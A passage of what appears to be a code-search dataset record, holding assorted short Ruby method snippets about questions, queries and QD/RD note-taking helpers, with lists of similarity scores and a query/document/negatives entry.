"def getSqlSm (ask,type,number,questionChild)\r\n name=\"#{type}_#{number}\"\r\n listOptions = getListOptions(questionChild,\"option\")\r\n erbTemplate = getTemplate(\"../encuestas/templates/sql_sm.template\",binding)\r\n return erbTemplate.to_s\r\n end",
"def phq2?; end",
"def snippet_for_new_rd\n qd_id = select_qd_without_rd\n horloge = (Snippet::horloge nil, true) # ici pour le bon tab-stop\n type_reponse = select_type_reponse_rd\n while type_reponse.match(/\\[tab_stop\\]/)\n type_reponse.sub!(/\\[tab_stop\\]/, \"\\${#{Snippet::next_tab}:TEXTE}\")\n end\n sn = \"\"\n sn << \"RD##{Objet::next_id_of_type 'RD'}: \"\n sn << horloge\n sn << \"[QD##{qd_id}] \"\n sn << \"#{type_reponse}\"\n sn << \" $0\"\n return sn\n end",
"def create_question\n @question = \"#{operand} #{type} #{operand}\"\n end",
"def gastriloquism_quinnipiac_apodictical()\n end",
"def handle_q_s\n next_tag # Q\n @quarter = @tokens[@index].get_tag(Scalar).type\n @number = @quarter\n @index += 1\n @precision = :quarter\n @unit = :quarter\n end",
"def questions\n \n end",
"def query_def; @seq1.definition; end",
"def to_Qdl\n gsub /\\\"/,\"'\"\n end",
"def question_type\n Exercise::Q_CODING\n end",
"def as_you_like_it_quote; end",
"def Q?(&block)\n SexpPath::SexpQueryBuilder.do(&block)\nend",
"def inspect_question(q)\n index_question(q) unless q.tag.empty?\n ref_question(q)\n q.answers.each { |a| ref_answer(q, a) }\n end",
"def mechanic_quest; end",
"def enq\n end",
"def enq\n end",
"def generation_code\n super.insert(-2, '#{\\'?\\' + args.last.to_query unless args.last.empty?}')\n end",
"def quo(arg0)\n end",
"def qlook\n file = Selection[0].linked_files.get[0].to_s\n if File.exists?(file)\n `qlmanage -p '#{file}'`\n else\n growl('No file available', 'No file available for #{Selection[0].cite_key.get}')\n end\nend",
"def quarter\n puts 'Dispensed quarter'\n end",
"def quarter\n puts 'Dispensed quarter'\n end",
"def explanation\n end",
"def gherkin_query; end",
"def gherkin_query; end",
"def qux ( &block )\n yield\n return 'qux: post proc'\nend",
"def general_q(question)\n p question\n gets.chomp\nend",
"def query_def; seq1.definition; end",
"def explain\n \n end",
"def marvin_quote; end",
"def custom_sql(q)\n query = q + ';' unless q =~ /;$/\n query = @db_connection.query(\"#{query}\")\n query.each { |x| print_line(\"#{x.join(',')}\") } unless query.empty?\n end",
"def define_question_code(klass, position) \r\n \"is_a?(#{name}) && (!number || number==@value)\"\r\n end",
"def romeo_and_juliet_quote; end",
"def questions\n # SELECT * FROM questions WHERE student_id = 2;\n DATABASE.execute(\"SELECT * FROM questions WHERE student_id = #{@id}\")\n end",
"def set_q\n @q = Q.find(params[:id])\n end",
"def ragman_quest; end",
"def sms_example_for_question(qing)\n content = case qing.question.qtype.name\n when \"integer\" then \"3\"\n when \"decimal\" then \"12.5\"\n when \"select_one\" then \"b\"\n when \"select_multiple\" then \"ac\"\n when \"datetime\" then \"20120228 1430\"\n when \"date\" then \"20121118\"\n when \"time\" then \"0930\"\n else nil\n end\n\n (content ? t(\"common.example_abbr\") + \" \" + content_tag(:span, content, :class => \"sms_example\") : \"\").html_safe\n end",
"def faq\n\n end",
"def query; end",
"def show\n @qnacomment = Qnacomment.new\n end",
"def question_render(nancode, session_id = nil, question_iterator = nil)\r\n\r\n nancode = \"#{nancode}-Q\"\r\n question_iterator.blank? ? qnumber = '' : qnumber = \"#{question_iterator}. \"\r\n question_content = <<-QUESTION_CONTENT\r\n <div id=\"#{nancode}\" name=\"#{nancode}\" class=\"question question-#{self.type.to_s.downcase}\">\r\n #{qnumber} #{self.output_text}\r\n </div>\r\n QUESTION_CONTENT\r\n\r\n return question_content\r\n\r\n end",
"def start_bridge_quest\n slowly do\n\"\"\"\nWhat should Duncan do? \n There's bacon!! Dash across that bridge and hunt! -- Press 1\n Carefully approach and investigate the scenario. -- Press 2\n Use special power! -- Press 3\n\"\"\" \n end\n end",
"def faq\n end",
"def faq\n end",
"def display_q(num)\n Kernel.puts(\"=> Question \\##{num}:\")\nend",
"def display_q(num)\n Kernel.puts(\"=> Question \\##{num}:\")\nend",
"def display_q(num)\n Kernel.puts(\"=> Question \\##{num}:\")\nend",
"def display_q(num)\n Kernel.puts(\"=> Question \\##{num}:\")\nend",
"def define_question_code(klass, position)\r\n \"@value==#{position.value}\"\r\n end",
"def query_def; mrna.definition; end",
"def q3_page\n\"\n\n\n\n\n\n\n\n\n\n What is your Food Mood?\n\n *-------------------* *-------------------* *-------------------*\n | | | | | |\n | | | | | |\n | | | | | |\n | Old Faves | | Surprise Me! | | Craving |\n | | | | | |\n | | | | | |\n | | | | | |\n *-------------------* *-------------------* *-------------------*\n\n 1: 2: Input your Craving:\n\nAnswer: \"\nend",
"def quiz\n end",
"def ask_for_description(question)\n\tdesc = Q.multiline(question)\n\tdesc = desc.collect{|l|l.strip}.join(\"\\n\")\n\tdesc = nil if desc.empty?\n\n\treturn desc\nend",
"def qa_page\n find_by(url: '/questions_and_tags')\n end",
"def question_label\n \"#{self.id} - #{self.title}\"\n end",
"def getSqlMmr(ask,type,number,questionChild)\r\n name=\"#{type}_#{number}\"\r\n listRows = getListOptions(questionChild.elements[\"rows\"],\"option\")\r\n listColumns = getListOptions(questionChild.elements[\"columns\"],\"option\")\r\n erbTemplate = getTemplate(\"../encuestas/templates/sql_mmr.template\",binding)\r\n return erbTemplate.to_s\r\n end",
"def show_queens\n\tfor queen in $q_array\n\t\tqueen.show\n\tend\nend",
"def ask_q\n @current_ans = generate_q\n end",
"def code; end",
"def code; end",
"def code; end",
"def code; end",
"def code; end",
"def code; end",
"def code; end",
"def question(q, a)\n qu = Question.new(q,a)\n questions << qu\n @counter = 0 #Se inicializa el contador\n end",
"def q_params\n params.fetch(:q, {}).permit(:name, :qn_id, :correct_flg)\n end",
"def therapist_quest; end",
"def jaeger_quest; end",
"def affixe_qdd\n @affixe_qdd ||= begin\n '%{mod_dim}-M%{mod_id}-E%{etp_num}-U%{uid}-%{id}' % {\n mod_id: ic_module.abs_module.id,\n mod_dim: ic_module.abs_module.dim,\n etp_num: ic_etape.abs_etape.numero,\n uid: user.id,\n id: self.id\n }\n end\n end",
"def prescription_1\n\tputs \"*** Prescription 1 ***\"\n\tputs \"Use the TDD process to create and adjust your code's design in small, incremental steps.\\n\\n\"\nend",
"def question\n puts \"#{@question}\"\n end",
"def query(_tql)\n raise NotImplementedError.new\n end",
"def working_title(query)\n @form['577'] = query\n end",
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def getSqlMmrs (ask,type,number,questionChild)\r\n name=\"#{type}_#{number}\"\r\n listRows = getListOptions(questionChild.elements[\"rows\"],\"option\")\r\n hashColumnas = getListOptionSelect(questionChild)\r\n erbTemplate = getTemplate(\"../encuestas/templates/sql_mmrs.template\",binding)\r\n return erbTemplate.to_s\r\n end"
] | [
"0.7392762",
"0.73672616",
"0.652518",
"0.6443565",
"0.63217336",
"0.61404216",
"0.61404216",
"0.60299826",
"0.59905493",
"0.59770185",
"0.5864629",
"0.5861694",
"0.58289343",
"0.58143896",
"0.57835317",
"0.5776795",
"0.5757913",
"0.5757361",
"0.5740752",
"0.57097214",
"0.5693019",
"0.568389",
"0.56819856",
"0.56744117",
"0.5639815",
"0.56282586",
"0.5620178",
"0.5616549",
"0.5612567",
"0.55669457",
"0.5549455",
"0.5549455",
"0.55388755",
"0.55310017",
"0.5527379",
"0.552549",
"0.552549",
"0.5511023",
"0.54984057",
"0.54984057",
"0.54925615",
"0.548727",
"0.5472312",
"0.5464794",
"0.5415677",
"0.54095376",
"0.5406952",
"0.5406934",
"0.54050434",
"0.540351",
"0.5396864",
"0.5380888",
"0.5378273",
"0.5378031",
"0.53721017",
"0.53672934",
"0.5364551",
"0.53639483",
"0.53639483",
"0.53619343",
"0.53619343",
"0.53619343",
"0.53619343",
"0.53535336",
"0.53447",
"0.5334341",
"0.5333781",
"0.53325385",
"0.533185",
"0.532041",
"0.5320299",
"0.52999353",
"0.5295157",
"0.5294696",
"0.5294696",
"0.5294696",
"0.5294696",
"0.5294696",
"0.5294696",
"0.5294696",
"0.5288918",
"0.5276218",
"0.527228",
"0.52516544",
"0.5242133",
"0.52403814",
"0.5230476",
"0.52235305",
"0.5221016",
"0.5213478",
"0.5213478",
"0.5213478",
"0.5213478",
"0.5213478",
"0.5213478",
"0.5213478",
"0.5213478",
"0.5213478",
"0.5213478",
"0.5212063"
] | 0.7219648 | 2 |
=> Code Snippet pour une nouvelle RD | def snippet_for_new_rd
qd_id = select_qd_without_rd
horloge = (Snippet::horloge nil, true) # ici pour le bon tab-stop
type_reponse = select_type_reponse_rd
while type_reponse.match(/\[tab_stop\]/)
type_reponse.sub!(/\[tab_stop\]/, "\${#{Snippet::next_tab}:TEXTE}")
end
sn = ""
sn << "RD##{Objet::next_id_of_type 'RD'}: "
sn << horloge
sn << "[QD##{qd_id}] "
sn << "#{type_reponse}"
sn << " $0"
return sn
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def snippet_for_new_rdf\n snippet_for_new_rd\n end",
"def code; end",
"def code; end",
"def code; end",
"def code; end",
"def code; end",
"def code; end",
"def code; end",
"def main_description; end",
"def docstring; end",
"def docstring; end",
"def description_and_code\n \"#{self.description} (#{self.code})\"\n end",
"def docufy(src,i)\n m = /RM_[A-z0-9]+/.match(src[i])\n name = m[0]\n name = name.sub(\"RM_\",\"RedisModule_\")\n proto = src[i].sub(\"{\",\"\").strip+\";\\n\"\n proto = proto.sub(\"RM_\",\"RedisModule_\")\n proto = linebreak_proto(proto, \" \");\n # Add a link target with the function name. (We don't trust the exact id of\n # the generated one, which depends on the Markdown implementation.)\n puts \"<span id=\\\"#{name}\\\"></span>\\n\\n\"\n puts \"### `#{name}`\\n\\n\"\n puts \" #{proto}\\n\"\n puts \"**Available since:** #{$since[name] or \"unreleased\"}\\n\\n\"\n comment = \"\"\n while true\n i = i-1\n comment = src[i]+comment\n break if src[i] =~ /\\/\\*/\n end\n comment = markdown(comment)\n puts comment+\"\\n\\n\"\nend",
"def roar\n#print string\n puts \"RARRR\"\n#end method codeblock\n end",
"def snippet_for_qd\n \"[QD#${1|#{list_qr_et_id(:qd).join(',')}|}]formate_qrd$0\"\n end",
"def base_docstring; end",
"def snippet_for_new_qd\n \"QD##{Objet::next_id_of_type 'QD'}: ${#{Snippet::next_tab}|h,d|}$0\"\n end",
"def get_book_snippet(book)\nend",
"def wine_comment\n end",
"def document\n str = start_comment()\n str += arguments_comment()\n str += return_comment()\n str += end_comment()\n str += \"#{@code}\\n\"\n select_first_field(str)\n end",
"def code_of_conduct; end",
"def inline_code; end",
"def document\n capture_args if @code =~ /\\(/\n super\n end",
"def king_richard_iii; end",
"def explanation\n end",
"def rucas_help_example code\n puts \"> #{code}\"\n puts \" #=> #{$rucas_help_scope.rucas{ Kernel::eval(code) }.inspect}\"\nend",
"def code_html\n CodeRay.scan(self.code, :python).div().html_safe\n end",
"def doc; end",
"def doc; end",
"def doc; end",
"def doc; end",
"def code\n @code\n end",
"def code\n @code\n end",
"def sld; end",
"def base_description(left_parenthesis); end",
"def base_description(left_parenthesis); end",
"def document\n comment_code\n super\n end",
"def simple_blind_ror\n \n end",
"def raw_codewords\n @raw_codewords\n end",
"def codeblock\n H[:pre, attr, H[:code, value]]\n end",
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def build_verbatim margin\n verbatim = super\n\n verbatim.format = :ruby if @section == 'Examples'\n\n verbatim\n end",
"def r; end",
"def r; end",
"def comment; end",
"def comment; end",
"def comment; end",
"def comment; end",
"def comment; end",
"def comment; end",
"def comment; end",
"def comment; end",
"def comment; end",
"def comment; end",
"def comment; end",
"def comment; end",
"def comment; end",
"def comment; end",
"def comment; end",
"def comment; end",
"def comment; end",
"def desc; end",
"def snippet_tag\n end",
"def code_and_label\n code << ' - ' << label\n end",
"def code_point; end",
"def rn_custom; @rn_custom; end",
"def source() end",
"def raw\n #\n end",
"def source_line; end",
"def description\n super + \", Whip\"\n end",
"def comment=(_arg0); end",
"def comment=(_arg0); end",
"def comment=(_arg0); end",
"def comment=(_arg0); end",
"def rubyize!\n\n self.definition = Ruote::Reader.to_ruby(tree).strip\n end",
"def snippet_for_new_qdf\n snippet_for_new_qd\n end",
"def inspect\n \"#<#{self.class}: #@code>\"\n end",
"def king_richard_iii_quote; end",
"def desc=(_); end",
"def code_and_label\n code + ' - ' + label\n end",
"def description=(_arg0); end",
"def description=(_arg0); end",
"def description=(_arg0); end",
"def romeo_and_juliet_quote; end",
"def _raw\n @_raw\n end",
"def base_description(_); end",
"def lines_of_code; end",
"def lines_of_code; end",
"def lyric; end",
"def as_you_like_it_quote; end",
"def odk_code\n \"q#{id}\"\n end"
] | [
"0.63468444",
"0.62678313",
"0.62678313",
"0.62678313",
"0.62678313",
"0.62678313",
"0.62678313",
"0.62678313",
"0.6130195",
"0.60693324",
"0.60693324",
"0.6050456",
"0.6000919",
"0.5992267",
"0.5965902",
"0.5945546",
"0.58924663",
"0.58780944",
"0.5859797",
"0.5847473",
"0.5844085",
"0.5810649",
"0.58076555",
"0.58071744",
"0.57849544",
"0.5753215",
"0.57358855",
"0.5732114",
"0.5732114",
"0.5732114",
"0.5732114",
"0.5727746",
"0.5727746",
"0.57276535",
"0.5721036",
"0.5721036",
"0.57208884",
"0.5712441",
"0.57102334",
"0.56810564",
"0.5671776",
"0.5671776",
"0.5671776",
"0.5671776",
"0.5671776",
"0.5671776",
"0.5671776",
"0.5671776",
"0.5671776",
"0.5671776",
"0.56585824",
"0.56549627",
"0.56549627",
"0.56545615",
"0.56545615",
"0.56545615",
"0.56545615",
"0.56545615",
"0.56545615",
"0.56545615",
"0.56545615",
"0.56545615",
"0.56545615",
"0.56545615",
"0.56545615",
"0.56545615",
"0.56545615",
"0.56545615",
"0.56545615",
"0.56545615",
"0.5646526",
"0.56353587",
"0.562427",
"0.5608725",
"0.5606039",
"0.559676",
"0.5593411",
"0.5586469",
"0.55836236",
"0.55715466",
"0.55715466",
"0.55715466",
"0.55715466",
"0.5566784",
"0.55659556",
"0.55625343",
"0.5552805",
"0.5549002",
"0.5546125",
"0.55377686",
"0.55377686",
"0.55377686",
"0.55345947",
"0.5533339",
"0.55259675",
"0.5507675",
"0.5507675",
"0.5503257",
"0.54915386",
"0.5478915"
] | 0.69778496 | 0 |
Retourne l'identifiant de la QD choisie | def select_qd_without_rd
qds = hash_qds true
if qds.empty?
Snippet::alert "Aucune QD n'est sans réponse dans ce fichier…", "Il faut définir une QD avant de définir sa RD."
else
items_string = qds.collect do |dqd|
dqd[:qd].gsub!(/\"/,"\\\""); "\"#{dqd[:qd]}\""
end.join(' ')
args = [
'dropdown',
'--title "Choix de la QD"',
'--text "Choisir la QD à laquelle doit répondre cette RD (seules les QD sans réponse sont listées)"',
'--exit-onchange', # -> se ferme après le choix
'--button1 "Choisir cette QD"',
'--button3 "Renoncer"',
'--items ' + items_string,
'2>/dev/null'
]
cmd = "#{cocoaD} #{args.join(' ')}"
u_reponse = %x{#{cmd}}
btn_name, user_choix = u_reponse.split("\n")
return nil if btn_name.to_i == 3
qds[user_choix.to_i][:id]
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def identifier_value\n DEFAULT_QUESTIONNAIRE_ID\n end",
"def option_number\n pricing_db_hp_support_option.option_number\n end",
"def choice\n @choice\n end",
"def answer_id answer\n answer.id || \"V#{answer.answer.id}\"\n end",
"def getIdFromString(option)\n str = option.split(\" \")\n str[1].to_i\nend",
"def selected_mode\n @selected_mode\n end",
"def selection\n eval_param(:selection)\n end",
"def getacquirerid()\r\n return getvalue(SVTags::ACQUIRER_ID)\r\n end",
"def single_possible_selection(state_id)\n @db.exec(\n <<~CMD\n SELECT selection_id FROM #{@@possible_tab}\n WHERE state_id = #{state_id}\n LIMIT 1;\n CMD\n )\n end",
"def choice\n @choice\n end",
"def option\n @option = params[:id].to_i\n end",
"def chooseQueryName\n @metadata.chooseQueryName\n end",
"def question_type\n prompts.first.andand.question_type\n end",
"def identifier\n best_identifier\n end",
"def power_up_id\n @power_up\n end",
"def quality_id\n return @quality_id\n end",
"def survey_identifier\n @form || @instrument\n end",
"def id\n hid\n end",
"def selected_mode\n return @data[self.index]\n end",
"def query_prompt\n @key\n end",
"def id\n @options[:id] \n end",
"def get_param_id(name)\r\r\n return DND::SUBS::PARAM_TABLE[name].to_i\r\r\n end",
"def qtype\n QuestionType[qtype_name]\n end",
"def qtype\n QuestionType[qtype_name]\n end",
"def project_id\n project_id = @options[:project_id] || Git.get_config(KEY_PROJECT_ID, :inherited)\n\n if project_id.empty?\n project_id = choose do |menu|\n menu.prompt = 'Choose project associated with this repository: '\n\n PivotalTracker::Project.all.sort_by { |project| project.name }.each do |project|\n menu.choice(project.name) { project.id }\n end\n end\n\n Git.set_config(KEY_PROJECT_ID, project_id, :local)\n puts\n end\n\n project_id\n end",
"def active_quick_window_id\n driver.getActiveQuickWindowID()\n end",
"def find_question_by_id(question_id)\n question = Pairwise::Question.find question_id\n return question #if question.local_identifier == @local_identifier.to_s\n end",
"def id\n @options[:id]\n end",
"def odk_code\n \"q#{id}\"\n end",
"def odk_code\n \"q#{id}\"\n end",
"def convert_choice_to_key\n case get_option\n when \"1\"\n return \"height\"\n when \"2\"\n return \"mass\"\n when \"3\"\n return \"hair_color\"\n when \"4\"\n return \"skin_color\"\n when \"5\"\n return \"eye_color\"\n when \"6\"\n return \"birth_year\"\n when \"7\"\n return \"gender\"\n when \"8\"\n return \"homeworld\"\n when \"9\"\n return \"films\"\n when \"10\"\n return \"species\"\n end\nend",
"def id\n hid\n end",
"def id\n hid\n end",
"def get_project_id\n unless project_id = self.project_id\n if self.preference5_id\n project_id = self.preference5_id\n elsif self.preference4_id\n project_id = self.preference4_id\n elsif self.preference3_id\n project_id = self.preference3_id\n elsif self.preference2_id\n project_id = self.preference2_id\n elsif self.preference1_id\n project_id = self.preference1_id\n end\n end\n project_id\n end",
"def db_value_for_question(q)\n col = q[\"question\"].db_column\n RT.custom_query(\"SELECT #{col} FROM #{q[\"table\"]} WHERE path = ?\", [q[\"path\"]], true)[col]\n end",
"def get_preset\n pricingoptions.find_by(:preset => true) || pricingoptions.first\n end",
"def identifier\n id_value || super\n end",
"def get_kit_id(op)\n op.inputs[0].retrieve\n op.inputs[0].item&.get(KIT_KEY) || op.input(KIT_PARAMETER)&.value\n end",
"def obj\n the_choice\n end",
"def option_id_for_submission(id_or_str)\n if id_or_str =~ /\\Aon([\\w\\-]+)\\z/\n # look up inputs of the form \"on####\" as option node ids\n OptionNode.id_to_option_id($1)\n else\n # look up other inputs as option ids\n Option.where(id: id_or_str).pluck(:id).first\n end\n end",
"def digitool_id\n return nil if @mods.nil?\n return @mods.digitool_ids.first\n end",
"def choose_identifier(filled, i)\n\tif filled.nil?\n\t\ti\n\telsif ['O', 'X', i].include?(filled)\n\t\tnil\n\telse\n\t\t'X'\n\tend\nend",
"def find_variant_id(dimensions) #a hash of dimensions\n variant = variants.select do |v|\n this = true\n dimensions.each do |dk, dv|\n this &&= (v.send(dk.downcase) == dv)\n end\n this\n end\n\n if variant.length == 1; return variant.first; end\n\n return nil\n end",
"def winner_prize_id\n @game.detect {|f| !f[:bot] }[:prize][:id]\n end",
"def opt\n @key\n end",
"def identifier\n num\n end",
"def quarterName\n qtrName = \"\"\n case self.enclaveQuarter\n when 1\n qtrName = \"First\"\n when 2\n qtrName = \"Second\"\n when 3\n qtrName = \"Third\"\n when 4\n qtrName = \"Fourth\"\n end\n qtrName\n end",
"def identifier\n id || name || default_identifier\n end",
"def pbt_id\n val = pbt\n val ? send(\"#{val}_id\") : nil\n end",
"def question_type_name(question)\n Questiontype.find(question.questiontype_id).name\n end",
"def get_param s\n\t\t\tp = que_qs(s).first\n\t\t\tp = ui_default(s) if p.nil?\n\t\t\tp\n\t\tend",
"def get_command_id()\n @query['command_id'] || nil\n end",
"def name\n return 'Generic QAQC'\n end",
"def game_mode\n return $prompt.select(\"Select game mode\",\n [\"Manual\", \"Simulate\"])\n \nend",
"def id\n value[0]\n end",
"def id\n code\n end",
"def song_selection\n puts %x{clear}\n puts \"Select Song\"\n song_id = 0\n @song_list.each {|song| puts \"#{song_id += 1}, #{song.song_title} by #{song.song_artist}- £#{song.song_cost}\"}\n\n input = gets.chomp.to_i\n if input <= @song_list.length && input >= 1\n add_songs_menu(@song_list[input-1]) && input != nil\n return input-1\n else\n song_selection\n end\n end",
"def set_which\n @which = Which.find(params[:id])\n end",
"def question_code\r\n\t\tif self.code.nil? || self.new_record?\r\n\t\t\tkind_code = \"\"\r\n\t\t\tif self.kind == \"assessment\"\r\n\t\t\t\tkind_code = \"1\"\r\n\t\t\telsif self.kind == \"assignment\"\r\n\t\t\t\tkind_code = \"2\"\r\n\t\t\tend\r\n\t\t\t\r\n\t\t\ttype_code = \"\"\r\n\t\t\tif self.question_type.name == \"MCQ\"\r\n\t\t\t\ttype_code = \"M\"\r\n\t\t\telsif self.question_type.name == \"Text\"\r\n\t\t\t\ttype_code = \"T\"\r\n\t\t\tend\r\n\r\n\t\t\tdifficulty_code = \"\"\r\n\t\t\tself.difficulty_level.split(\"-\").each do |difficulty_level|\r\n\t\t\t\tdifficulty_code += difficulty_level[0].capitalize\r\n\t\t\tend\r\n\r\n\t\t\tnum = 0\r\n\t\t\tquestions = []\r\n\t\t\tquestions = Question.where(question_type_id: self.question_type_id, kind: self.kind, chapter_id: self.chapter.id, difficulty_level: self.difficulty_level).order(code: :asc) if Question.where(question_type_id: self.question_type_id, kind: self.kind, chapter_id: self.chapter.id, difficulty_level: self.difficulty_level).exists?\r\n\t\t\tquestion_digits = \"\"\r\n\t\t\tif questions.empty?\r\n\t\t\t\tquestion_digits = \"0001\"\r\n\t\t\telse\r\n\t\t\t\tquestion = questions.last\r\n\t\t\t\tif question.code.nil?\r\n\t\t\t\t\tquestion_digits = \"0001\"\r\n\t\t\t\telse\r\n\t\t\t\t\tquestion_digits = (question.code.split(\"-\").last.to_i + 1).to_s.rjust(4,'0')\r\n\t\t\t\tend\r\n\t\t\tend\r\n\r\n\t\t\tself.code = \"DCT-\" + kind_code + difficulty_code + type_code + \"-\" + self.chapter.short_name + \"-\" + question_digits\r\n\t\tend\r\n\tend",
"def get_id(options)\r\n id = options[:id]\r\n\r\n id\r\n end",
"def user_selection_integer\n print '> '\n selection = gets.chomp.to_i\n end",
"def identifier\n @identifiers[0]\n end",
"def current_eq_preset\n IITEQPreset.new(@ole.CurrentEQPreset)\n end",
"def answer\n @choices[@active - 1].value\n end",
"def select_cdm_identifier(record, _context)\n uri = record.xpath(ID_XPATH, NS).map(&:text).reject(&:blank?)\n uri.first if uri.any?\n end",
"def get_tutor_question\n questions.find { |q| q.type == \"tutor_table\" }\n end",
"def ask_id(session, name)\n read_task('rvpe.vmtype.ask_id', session) do\n t = VMType.find_by_name(name).last\n raise \"VMType[#{name}] is not found. \" unless t\n\n [true, t.id]\n end\n end",
"def program_name(qc_inspection_type_code)\n ProgramFunction.generic_program_name( 'QC', qc_inspection_type_code )\n end",
"def id(prog); @progs[prog]; end",
"def get_current_rev\n\t\t\tid = read_command_output( 'hg', '-q', 'identify' )\n\t\t\treturn id.chomp\n\t\tend",
"def affixe_qdd\n @affixe_qdd ||= begin\n '%{mod_dim}-M%{mod_id}-E%{etp_num}-U%{uid}-%{id}' % {\n mod_id: ic_module.abs_module.id,\n mod_dim: ic_module.abs_module.dim,\n etp_num: ic_etape.abs_etape.numero,\n uid: user.id,\n id: self.id\n }\n end\n end",
"def show\n\t\t_get_current_question_and_choices(params[:id])\n\tend",
"def id\n @power_up.id\n end",
"def find_showid tvdb_id\n\tshow = Bierdopje::Show.find_by_tvdb_id tvdb_id\n\tshow.id\nend",
"def find_id_by_title title\n element = select_one_by_title title\n element[\"@#{kind}_id\".to_sym] if element\n end",
"def getChoiceNum(chooser, choice)\n num = 0\n chooser.getChoices.each_with_index do |option, i|\n if option.otExternalId == choice.otExternalId\n num = i + 1\n break\n end\n end\n num\n end",
"def id\n \"#{design.id}.#{version.id}\"\n end",
"def question\n Question.find_by_id(self.question_id)\n end",
"def choice(indx)\n items[to_display.options[:choices][indx]]\n end",
"def choice_acquisition\n if @player_role_selection == 'breaker'\n @proposed_code = player_choice_acquisition\n elsif @player_role_selection == 'maker'\n @proposed_code = computer_choice_acquisition\n end\n puts \"Playing #{@proposed_code}\"\n end",
"def id\n \"#{kind}_#{@id}\"\n end",
"def id\n \"#{kind}_#{@id}\"\n end",
"def get_answer_index\n (self.choices.index{|choice| choice[\"id\"] == self.answer.to_i}) + 1 \n end",
"def gene_id\n description.andand.match(/ GN=(\\w+) ?/)[1]\n end",
"def query_id; seq1.entry_id; end",
"def which_suite()\n ret_val = case suite\n when \"H\" then \"Heart\"\n when \"C\" then \"Club\"\n when \"D\" then \"Diamond\"\n when \"S\" then \"Spades\"\n end\n ret_val\n end",
"def primary_dx\n diagnoses.find_by_dx_type('P')\n end",
"def payment_instrument_id\n group = CIVICRM::OptionGroup.where(name: \"payment_instrument\").take\n contribution_type_name = contribution_type.name == 'ACH' ? 'EFT' : contribution_type.name\n value = CIVICRM::OptionValue.where(option_group_id: group.id, name: contribution_type_name).take\n if value.nil?\n value = CIVICRM::OptionValue.create_new_payment_instrument(contribution_type_name);\n end\n\n value.value\n end",
"def element_id what\n \"#{object_type}_#{what}\"\n end",
"def picker(key)\n min_val = 1\n max_val = 1\n valarr = get_value(key)\n puts \"Options Available: \"\n valarr.each_with_index do |one_select, index|\n dis_index = index + 1\n puts \"#{dis_index}) #{one_select}\"\n max_val = dis_index\n end\n \n puts \"q) TO QUIT\"\n print \"Enter number of your selection: \"\n \n user_choice = pick_filter(min_val, max_val, true)\n puts \"You SELECTED #{valarr[user_choice - 1]}\"\n puts \"\"\n return valarr[user_choice - 1]\n end",
"def option(which, bit)\n options(which)[bit].to_i\n end",
"def program_name\n Quickl.program_name\n end",
"def payment_mode_of_selected_id\n @payment_mode = Lookup.find_by_id(params[:selected_value]).lvalue\n end",
"def get_question(form_name, id)\n get_form(form_name)[:questions][id]\n end",
"def get_id_by_type(type)\n MyAdmin.get_name_by_type(type)\n end",
"def computer_selection\n c_choice = rand(0..2)\n @comp = @selections[c_choice]\n end",
"def rp_id; end",
"def get_attachment_choice\n puts \"Which attachment plugin would you like to use? (please type the number only)\"\n puts \"\\t1. ActiveRecord\\n\\t2. Sequel\"\n choice = gets.chomp\n unless choice.to_i == 1 || choice.to_i == 2\n puts \"Please ensure you only type '1' or '2'\"\n get_attachment_choice\n end\n choice\nend",
"def [](choice)\n choices[choice]\n end",
"def quoted_id\n id\n end"
] | [
"0.6541679",
"0.60429424",
"0.58462596",
"0.5812924",
"0.5802944",
"0.5776858",
"0.5744902",
"0.5704326",
"0.56972706",
"0.5696809",
"0.56900865",
"0.5642818",
"0.5625298",
"0.5621794",
"0.5597857",
"0.55970126",
"0.55760807",
"0.5554164",
"0.5517884",
"0.5495366",
"0.5490952",
"0.5480845",
"0.5457184",
"0.5457184",
"0.54294413",
"0.54186064",
"0.54101086",
"0.5399604",
"0.53756154",
"0.53756154",
"0.5367727",
"0.5367394",
"0.5367394",
"0.53370833",
"0.53353435",
"0.5333541",
"0.533103",
"0.5327659",
"0.5326454",
"0.5325766",
"0.5316617",
"0.531185",
"0.53047645",
"0.530211",
"0.52974266",
"0.52946365",
"0.5288669",
"0.5279977",
"0.5276123",
"0.5257295",
"0.524797",
"0.5242337",
"0.52404684",
"0.52402616",
"0.52402455",
"0.5238957",
"0.52326703",
"0.5230806",
"0.52224094",
"0.5221476",
"0.5214155",
"0.5209045",
"0.5202492",
"0.5197238",
"0.51949453",
"0.51909757",
"0.51888865",
"0.5178224",
"0.517262",
"0.51677823",
"0.5164944",
"0.51595247",
"0.51572526",
"0.5151824",
"0.5146413",
"0.51421106",
"0.5140704",
"0.51375943",
"0.5135733",
"0.51349217",
"0.51317513",
"0.51317513",
"0.5127145",
"0.5123573",
"0.5121527",
"0.51115227",
"0.511147",
"0.51050633",
"0.5104453",
"0.5103486",
"0.50935674",
"0.5093519",
"0.5091619",
"0.50915205",
"0.50758994",
"0.5072692",
"0.5071411",
"0.5071204",
"0.5069767",
"0.5068751"
] | 0.60702175 | 1 |
=> Retourne la liste des identifiants de Qd ou Rd | def list_ids type
balise = (type == :qd) ? "QD" : "RD"
Snippet::input.scan(/#{balise}\#([0-9]+)\:/).to_a.collect do |found|
found[0]
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_ids\r\n case id\r\n when 1 then [1,2,3,4,5] # superadmin\r\n when 2 then [2] # data\r\n when 3 then [3,4,5] # centeradmin\r\n when 4 then [4,5] # teamadmin\r\n when 5 then [5] # behandler\r\n when 10 then [10,11,12,13,14,15] # login_bruger\r\n when 11 then [11] # parent\r\n when 12 then [12] # teacher\r\n when 13 then [13] # pedagogue\r\n when 14 then [14] # youth\r\n else []\r\n end\r\n end",
"def ids\n @ids ||= term.list_ids.sort\n end",
"def identities\n \n return ::IdentifiesAs.object_identities( self ) \n \n end",
"def identifiers; end",
"def ids(type)\n Document.where(:typ => type).select(:ide).collect { |d| d[:ide] }.uniq.sort\n end",
"def qing_ids\n questionings.collect{|qing| qing.id}\n end",
"def known_identities; end",
"def dids_911\n dids_911_list ? dids_911_list.collection : []\n end",
